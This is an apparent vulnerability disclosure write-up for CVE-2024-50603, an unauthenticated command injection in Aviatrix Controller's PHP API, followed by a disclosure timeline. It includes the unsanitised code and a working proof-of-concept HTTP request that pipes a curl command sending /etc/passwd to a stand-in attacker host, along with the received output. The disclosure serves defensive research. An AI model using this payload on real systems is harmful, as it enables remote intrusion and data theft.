**CVE-2024-50603: In-depth analysis**
--------------------------------------
Aviatrix enables enterprise organizations to deliver purpose-built infrastructure to support business-critical applications and accelerate cloud initiatives. Combining industry-leading software defined networking with orchestrated native services, the Aviatrix Networking Platform unifies the clouds, providing simplified operations, optimized cloud costs, improved security, and advanced networking. The Aviatrix Cloud Networking Platform aligns cloud footprints to best-practice architecture frameworks while enabling accelerating deployments through Infrastructure-as-Code. [\[1\]](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aviatrix-systems.aviatrix-controller?tab=overview)
Shodan shows 681 publicly exposed Aviatrix Controllers:
![](https://www.securing.pl/eetsassy/2025/01/CVE-2024-50603-Aviatrix-Network-Controller-Command-Injection-Vulnerability-1024x656.png)
I deployed the Aviatrix Cloud Network Controller using AWS and Azure Marketplaces to extract the code.
The disk image on AWS was secured, and I couldn’t access the files directly. Additionally, the application doesn’t allow access to the console, so I couldn’t gain access from that side either. However, during the installation of the software from the Azure Marketplace, I was able to log in directly to the machine and copy all files for analysis before the installation process was finished and the machine was configured to forbid SSH access.
After accessing the files, I noticed that the exposed API is a wrapper written in PHP, which receives data from the user, appends it to system commands, and runs the cloudx\_cli application with the appropriate parameters. An example can be seen below:
} else if ($action == "forget_controller_password") {
$username = $params["username"];
if (empty($username)) {
$res["reason"] = "Username cannot be blank.";
} else {
$cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management reset_password";
$cmdstr .= " --user_name " . escapeshellarg($username);
$ret = exec_command($cmdstr, $rtn_file);
if (preg_match("/true/", $ret[0])) {
$res["return"] = true;
$res["results"] = json_decode($ret[2])->text;
} else {
$res["reason"] = $ret[1];
}
}
}
In this case, user-supplied parameters are properly sanitized using escapeshellarg. However, I started to wonder if there were any cases where it hadn’t been used correctly. After running a few grep commands, I noticed that some of the parameters are indeed not using this function.
**Vulnerable action**
**Vulnerable parameter**
_list\_flightpath\_destination\_instances_
_cloud\_type_
_flightpath\_connection\_test_
_src\_cloud\_type_
[Write to us](https://www.securing.pl/en/contact/)
case "list_flightpath_destination_instances":
$account_name = $params["account_name"];
$region = $params["region"];
$vpc_id_name = $params["vpc_id_name"];
$cloud_type = $params["cloud_type"] ? $params["cloud_type"] : "1";
if (empty($account_name) || empty($region) || empty($vpc_id_name)) {
$res["reason"] = "following parameters are required: account_name, region, vpc_id_name";
} else {
$cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " resource_report $cloud_type ";
$cmdstr .= $action == "list_flightpath_source_instances" ? "src_instances" : "dest_instances";
$cmdstr .= " --account_name " . escapeshellarg($account_name);
$cmdstr .= " --region " . escapeshellarg($region);
$cmdstr .= " --vpc_id_name " . escapeshellarg($vpc_id_name);
$ret = exec_command($cmdstr, $rtn_file);
if (preg_match("/true/", $ret[0])) {
$res["return"] = true;
$res["results"] = json_decode($ret[2])->items;
} else {
$res["reason"] = $ret[1];
}
}
break;
In order to execute the above function, you need to see an HTTP request, which requires a API session identifier called CID. The value of the CID parameter is then appended to the command. **Since checking the validity of the CID is done during the execution of the CLI, any value will work.**
function exec_command($cmdstr, $rtn_file, $cid_flag = false) {
global $dev_mode, $params, $res;
if (!$cid_flag) {
$sid = $_POST["CID"] ? $_POST["CID"] : $params["CID"];
if ($sid && $sid != "undefined") $cmdstr .= " --login_cid " . escapeshellarg($sid);
}
[Get our latest cybersecurity tips](https://www.securing.pl/#newsletter)
CVE-2024-50603: Proof of Concept
--------------------------------
Finally, taking all the pieces together, since the function escapeshellarg is not used on the cloud\_type parameter, I was able to add a pipe and execute a malicious function. For a Proof of Concept, I run curl sending the contents of /etc/passwd to my server:
POST /v1/api HTTP/1.1
Host: 10.55.55.55
Content-Length: 177
Content-Type: application/x-www-form-urlencoded
action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1®ion=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+"@/etc/passwd"+https://address.controlled.by.the.attacker)
Then I received a callback to my server containing the contents of the _/etc/passwd_ file:
POST / HTTP/1.1
Host: address.controlled.by.the.attacker
User-Agent: curl/7.58.0
Accept: */*
Content-Length: 1971
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue
root:x:0:0:root:/root:/bin/bash
(...)
azureuser:x:1001:1003:Ubuntu:/home/azureuser:/bin/bash
assetd-service-user:x:1002:1004::/home/assetd-service-user:/bin/sh
volume-scanner-orchestrator:x:113:65534::/home/volume-scanner-orchestrator:/usr/sbin/nologin
etcd:x:114:119::/var/lib/etcd/:/usr/sbin/nologin
Disclosure timeline
-------------------
2024-10-17: Vulnerability note was sent to the Aviatrix.
2024-10-18: Meeting with Aviatrix security team.
2024-11-07: Patch was released and Aviatrix’ customers were notified.
2024-12-19: New release with patched vulnerability.
2025-01-07: Public disclosure of the vulnerability.
Unavailable Comments